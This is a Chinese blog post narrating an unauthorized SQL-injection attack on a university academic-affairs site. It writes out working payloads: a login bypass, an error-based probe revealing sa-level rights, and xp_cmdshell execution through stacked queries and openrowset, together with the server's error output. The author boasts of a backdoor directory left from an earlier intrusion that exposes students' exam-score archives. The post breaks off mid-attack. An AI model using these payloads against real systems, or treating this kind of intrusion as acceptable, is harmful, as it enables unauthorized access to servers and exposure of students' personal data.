某大学教务网站的SQL注入[原创]

在之前因为没有做SQL过滤,被我警告过一次的了,后来应该是看到了提醒,所以基本上使用get提交参数和的地方都做了过滤了,(但是我上次留下的0x2001映射到C盘的虚拟目录还没有被删除,管理员真是大意啊!可惜的是只能浏览,没有写入等权限了——呵呵,下面有四六级考试的成绩打包,还有数据的内容,不过我对这些数据向来不怎么理会,也没有想过泄漏之类的),对于只有webshell这样的事情我也没有什么兴趣对于只有webshell这样的事情我也没有什么兴趣,我又不挂马,又不删除数据,要webshell做什么,只是想试下得到gui的管理界面,进去满足一番,留个合照纪念就OK了。

废话少说,转悠了一会,发现两处地方有问题,一是bbs登录处没有做字符过滤,二是搜索的地方也没有做过滤。

它的bbs登录的整个页面比较庞大,还有输入字符最大长度限制,那就查看源代码,把form以外的东西都删掉,只留下代码如下

     


                    用户名:
                        
                   

                    密 码:
                   
                           //这个按钮是我自己加的
               

本地打开,用户名和密码都输入1' or ''=',跳到一个页面,显示密码错误,但是再一会就会自动调转到成功登录后的页面了,不知道怎么回事,等拿到权限后再看看。
尝试用户名输入1' and user>0 and ''='      (因为后面asp程序还会补充一个单引号,所以要加上and ''=')
显示

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'dbo' to a column of data type int.

D:/JWCWEB/HTML/BBS/../../common/checkuser.asp,行11

呵呵,sa权限,本来以为好办的了,直接使用xp_cmdshell执行命令不就可以了?
输入: 1';exec master..xp_cmdshell 'ping 192.168.0.1';--
结果报错

ADODB.Command 错误 '800a0d5d'

Application uses a value of the wrong type for the current operation.

D:/JWCWEB/HTML/BBS/../../common/checkuser.asp,行26

晕,怎么会这样的?

再试下:1';select 1;--
报错:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC SQL Server Driver]Connection is busy with results for another hstmt

D:/JWCWEB/HTML/BBS/../../common/checkuser.asp,行28

上网查下是什么错误,原来是说odbc里面不能同时执行多条语句,那也就是不能多步执行啦...
郁闷!
明显的sa权限,居然会因为不能多步执行而用不了xp_cmdshell.
要想办法才行,在网上找了n久,终于看到一丝光明—— openrowset

我构造了如下的句子,在登录处输入
' and 1=(select top 1 * from openrowset('sqloledb','trusted_connection=yes;data source=test','set fmtonly off exec master.dbo.xp_cmdshell ''ping 192.168.1.1''')) and ''='
嘿嘿,防火墙有反映了
[待续]


你可能感兴趣的:(安全)